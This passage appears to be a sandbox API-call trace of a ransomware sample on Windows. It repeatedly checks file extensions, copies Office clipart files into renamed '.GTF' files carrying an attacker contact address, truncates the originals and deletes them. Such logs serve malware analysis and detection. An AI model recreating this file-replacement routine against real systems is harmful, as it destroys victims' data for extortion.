	[0083.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.327] lstrlenW (lpString=".zip") returned 4
	[0083.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.327] lstrlenW (lpString=".rar") returned 4
	[0083.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.327] lstrlenW (lpString=".bz2") returned 4
	[0083.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString=".7z") returned 3
	[0083.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.328] lstrlenW (lpString=".dbf") returned 4
	[0083.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.328] lstrlenW (lpString=".1cd") returned 4
	[0083.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.328] lstrlenW (lpString=".jpg") returned 4
	[0083.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.328] lstrlenW (lpString=".doc") returned 4
	[0083.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString=".docx") returned 5
	[0083.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.328] lstrlenW (lpString=".pdf") returned 4
	[0083.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString=".xls") returned 4
	[0083.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.328] lstrlenW (lpString=".xlsx") returned 5
	[0083.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.328] lstrlenW (lpString=".ppt") returned 4
	[0083.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.328] lstrlenW (lpString=".zip") returned 4
	[0083.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.328] lstrlenW (lpString=".rar") returned 4
	[0083.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString=".bz2") returned 4
	[0083.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.328] lstrlenW (lpString=".7z") returned 3
	[0083.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.329] lstrlenW (lpString=".dbf") returned 4
	[0083.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.329] lstrlenW (lpString=".1cd") returned 4
	[0083.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68
	[0083.329] lstrlenW (lpString=".jpg") returned 4
	[0083.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.329] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.329] lstrlenW (lpString="BL00098_.WMF") returned 12
	[0083.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.329] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1012) returned 1
	[0083.329] CloseHandle (hObject=0x36c) returned 1
	[0083.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220
	[0083.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.330] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.330] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.330] GetLastError () returned 0x0
	[0083.330] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x3f4, lpOverlapped=0x0) returned 1
	[0083.332] WriteFile (in: hFile=0x374, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x400, lpOverlapped=0x0) returned 1
	[0083.333] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.333] WriteFile (in: hFile=0x374, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.333] SetEndOfFile (hFile=0x374) returned 1
	[0083.333] CloseHandle (hObject=0x374) returned 1
	[0083.334] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.334] SetEndOfFile (hFile=0x36c) returned 1
	[0083.335] CloseHandle (hObject=0x36c) returned 1
	[0083.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1
	[0083.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.335] lstrlenW (lpString=".doc") returned 4
	[0083.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.335] lstrlenW (lpString=".docx") returned 5
	[0083.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.336] lstrlenW (lpString=".pdf") returned 4
	[0083.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString=".xls") returned 4
	[0083.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.336] lstrlenW (lpString=".xlsx") returned 5
	[0083.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.336] lstrlenW (lpString=".ppt") returned 4
	[0083.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.336] lstrlenW (lpString=".zip") returned 4
	[0083.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.336] lstrlenW (lpString=".rar") returned 4
	[0083.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString=".bz2") returned 4
	[0083.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString=".7z") returned 3
	[0083.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.336] lstrlenW (lpString=".dbf") returned 4
	[0083.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.336] lstrlenW (lpString=".1cd") returned 4
	[0083.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.336] lstrlenW (lpString=".jpg") returned 4
	[0083.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.336] lstrlenW (lpString=".doc") returned 4
	[0083.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString=".docx") returned 5
	[0083.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.336] lstrlenW (lpString=".pdf") returned 4
	[0083.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.336] lstrlenW (lpString=".xls") returned 4
	[0083.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.337] lstrlenW (lpString=".xlsx") returned 5
	[0083.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.337] lstrlenW (lpString=".ppt") returned 4
	[0083.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.337] lstrlenW (lpString=".zip") returned 4
	[0083.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.337] lstrlenW (lpString=".rar") returned 4
	[0083.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.337] lstrlenW (lpString=".bz2") returned 4
	[0083.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.337] lstrlenW (lpString=".7z") returned 3
	[0083.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.337] lstrlenW (lpString=".dbf") returned 4
	[0083.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.337] lstrlenW (lpString=".1cd") returned 4
	[0083.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0083.337] lstrlenW (lpString=".jpg") returned 4
	[0083.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.337] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.337] lstrlenW (lpString="BL00105_.WMF") returned 12
	[0083.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.338] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=880) returned 1
	[0083.338] CloseHandle (hObject=0x36c) returned 1
	[0083.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220
	[0083.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.338] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.338] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.339] GetLastError () returned 0x0
	[0083.339] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x370, lpOverlapped=0x0) returned 1
	[0083.363] WriteFile (in: hFile=0x374, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x380, lpOverlapped=0x0) returned 1
	[0083.364] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.364] WriteFile (in: hFile=0x374, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.365] SetEndOfFile (hFile=0x374) returned 1
	[0083.365] CloseHandle (hObject=0x374) returned 1
	[0083.365] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.366] SetEndOfFile (hFile=0x36c) returned 1
	[0083.366] CloseHandle (hObject=0x36c) returned 1
	[0083.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1
	[0083.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.369] lstrlenW (lpString=".doc") returned 4
	[0083.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.369] lstrlenW (lpString=".docx") returned 5
	[0083.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.369] lstrlenW (lpString=".pdf") returned 4
	[0083.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.369] lstrlenW (lpString=".xls") returned 4
	[0083.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.369] lstrlenW (lpString=".xlsx") returned 5
	[0083.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.369] lstrlenW (lpString=".ppt") returned 4
	[0083.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.369] lstrlenW (lpString=".zip") returned 4
	[0083.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.369] lstrlenW (lpString=".rar") returned 4
	[0083.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.369] lstrlenW (lpString=".bz2") returned 4
	[0083.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.369] lstrlenW (lpString=".7z") returned 3
	[0083.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.370] lstrlenW (lpString=".dbf") returned 4
	[0083.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.370] lstrlenW (lpString=".1cd") returned 4
	[0083.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.370] lstrlenW (lpString=".jpg") returned 4
	[0083.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.370] lstrlenW (lpString=".doc") returned 4
	[0083.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.370] lstrlenW (lpString=".docx") returned 5
	[0083.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.370] lstrlenW (lpString=".pdf") returned 4
	[0083.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.370] lstrlenW (lpString=".xls") returned 4
	[0083.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.370] lstrlenW (lpString=".xlsx") returned 5
	[0083.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.370] lstrlenW (lpString=".ppt") returned 4
	[0083.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.370] lstrlenW (lpString=".zip") returned 4
	[0083.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.370] lstrlenW (lpString=".rar") returned 4
	[0083.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.370] lstrlenW (lpString=".bz2") returned 4
	[0083.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.370] lstrlenW (lpString=".7z") returned 3
	[0083.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.370] lstrlenW (lpString=".dbf") returned 4
	[0083.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.371] lstrlenW (lpString=".1cd") returned 4
	[0083.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0083.371] lstrlenW (lpString=".jpg") returned 4
	[0083.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.371] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.371] lstrlenW (lpString="BL00148_.WMF") returned 12
	[0083.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.375] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1696) returned 1
	[0083.375] CloseHandle (hObject=0x370) returned 1
	[0083.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220
	[0083.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0083.377] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.377] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.383] GetLastError () returned 0x0
	[0083.383] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x6a0, lpOverlapped=0x0) returned 1
	[0083.386] WriteFile (in: hFile=0x370, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x6b0, lpOverlapped=0x0) returned 1
	[0083.387] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.387] WriteFile (in: hFile=0x370, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.387] SetEndOfFile (hFile=0x370) returned 1
	[0083.388] CloseHandle (hObject=0x370) returned 1
	[0083.389] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.389] SetEndOfFile (hFile=0x384) returned 1
	[0083.390] CloseHandle (hObject=0x384) returned 1
	[0083.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1
	[0083.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.392] lstrlenW (lpString=".doc") returned 4
	[0083.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.392] lstrlenW (lpString=".docx") returned 5
	[0083.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.392] lstrlenW (lpString=".pdf") returned 4
	[0083.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.392] lstrlenW (lpString=".xls") returned 4
	[0083.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.392] lstrlenW (lpString=".xlsx") returned 5
